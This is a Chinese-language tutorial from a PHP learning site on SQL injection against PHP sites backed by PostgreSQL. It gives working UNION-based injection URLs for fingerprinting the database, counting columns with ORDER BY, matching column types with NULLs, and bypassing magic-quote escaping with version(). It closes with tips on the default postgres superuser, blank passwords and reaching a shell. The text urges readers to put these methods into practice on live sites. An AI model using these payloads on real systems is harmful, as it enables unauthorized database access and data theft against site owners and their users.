网站地图    收藏   

主页 > 后端 > 网站安全 >

PostgreSQL注入常见问题入总结 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 1) 如何判断php搭配数据库为PostgreSQL 我们假设一个php+PostgreSQL并且开启了错误回显的网站有一个注入点,我们在xx.php?id=n后面加单引号rsquo;,它的回显将会是这样的: Warning: pg_query() [fun...

1) 如何判断php搭配数据库为PostgreSQL 我们假设一个php+PostgreSQL并且开启了错误回显的网站有一个注入点,我们在xx.php?id=n后面加单引号’,它的回显将会是这样的: Warning: pg_query() [function.pg-query]: Query failed: ERROR: unterminated quoted string at or near “‘” LINE 1: select * from now where no = 111′ ^ in /home/sites/web/school/detail.php on line 307 有这样几个关键字可以判断数据库为PostgreSQL: 操作PostgreSQL的函数pg_query() 关键字function.pg-query中的pg 看熟了MySQL的错误回显,有没有发现这个unterminated quoted string at or near不是MySQL的?MySQL的错误回显和这个区别太大了
 
2) 字段数和字段间编码问题 我们首先将上面的注入点order by 2可以确认now数据表的字段数大于2,当我们order by 2000的时候,显然不可能有那个表段中有2000条数据,当然会出错 Warning:pg_query() [function.pg-query]: Query failed: ERROR: ORDER BY position 2000 is not in select list in /home/sites/web/school/detail.php on line 307 这样大致可以确认可以猜出正确的字段数了。假设字段数为14,那么我们按照MySQL的步骤
 
xx.php?id=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14 
这句没问题吧?但是它99%概率会出问题了: Warning: pg_query() [function.pg-query]: Query failed: ERROR: UNION types character varying and integer cannot be matched in /home/sites/web/school/detail.php on line 307 这个回显是什么意思呢?问题很简单,union前后的字段数相同了,但是类型不同了。 这就像大家来找茬:
 
Union前(程序原来的):SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数 
Union后(我们注入的):SELECT 数字,数字,数字,数字,数字,数字,数字,数字,数,数,数,数,数,数 
和我们要来找茬游戏差不多,我们要做的就是矫正字段与字段间的区别。 错误提示中没有提示这14个中,哪一个字段出问题了,我们要一次性让字段数对工整了恐怕有n的14次方种可能,怎么办呢? 很简单,先吧1,2,3,4…..13,14这些字段统统换成NULL,例如:
 
xx.php?id=正确的id数字+and+1=1+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null 
这样就会正确显示原来的新闻页面了 然后我们试着把null依次换成数字,依次替换一个,如果依然返回正确的新闻页面则保留数字并替换下一个,如果返回错误信息就重新换回null并继续替换下一个 这样我们就得到:
 
Union前(程序原来的):SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数 
Union后(我们注入的):SELECT 数字,NULL,NULL,数字,数字,NULL,NULL,数,NULL,数,NULL,数,NULL,数 
实际中,数字型是占少数的,一般我们都是用文本型做显示位的。 找出文本型显示位很简单,和数字一样,依次替换并确认,只不过这次不是替换成数字,而是替换成文本,例如’a’
 
Union前(程序原来的):SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数 
Union后(我们注入的):SELECT 数字,’a',NULL,数字,数字,NULL,’a',数,’a',数,’a',数,’a',数 
这样就明了了吧? 最后应用于实际:
 
xx.php?id=0+union+select+1,’a',null,2,3,null,’b',2,’c',3,’d',4,’e',6 
这样八九不离十会出显示位的。
3) GPC设置为on问题 PHP有个功能是魔术引号,学称“自动字符串转义”,就是你把.php?id=3′or’1′=’1访问后PHP自动给你转换成.php?id=3\’or\’1\’=\’1然后进行下一步动作 问题在哪里呢?上面我们讲了,将字符型字段替换为’a'来依次确认,GPC为on,岂不是’a'都变成了\’a\’??? 没错,是变了。那么这步就不能进行?答案是能。要知道,计算机是人设计的,人是计算机灵感的来源。 首先向,我们注入的目的是什么?显示内容。那么我们为什么要让它使用’a'呢?’a'只不过是个用来判断的字符,和and 1=2一样,只是用于判断,无实际意义,and 1=2可以替换成1=3,1=4,甚至1=1000000000000000000000,这只是用来判断而已,没意义。 如果我们将’a'换成有意义的呢?例如version()就可以不需要加引号,比较一下:
 
xx.php?id=0+union+select+1,’a',null,2,3,null,’b',2,’c',3,’d',4,’e',6 
xx.php?id=0+union+select+1,version(),null,2,3,null,version(),2,version(),3,version(),4,version(),6 
整个语句没有用到任何一个单引号
4)注释符问题 PostgreSQL的注释符不是#,也就是说,末尾如果有语句未结束,不能加/*或者%23来终止。 那么用什么呢?显然是MySQL,MSSQL,SQLite还有PostgreSQL各种通用的“–”,也可以换成%2b%2b,一样的效果。 很好记,2B,二逼。测试中%2b%2b有可能会造成访问的短暂失去响应,目前不知道问题在哪里,而横线–则不会出现
5) 小技巧 PostgreSQL的管理员账户(类似于MySQL的root,MSSQL的sa)名字为postgres,根数据库(类似于MySQL的mysql数据库,MSSQL的master数据库)名字为postgres root和sa有设置空口令的二逼管理员,PostgreSQL也有很多设置空口令的二逼管理员。 遇到过一些给PostgreSQL设置了nologin的bash shell,后面你懂的,可以尝试登陆它的shell的
好了说了这么多,都是理,多应用于实践吧 
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论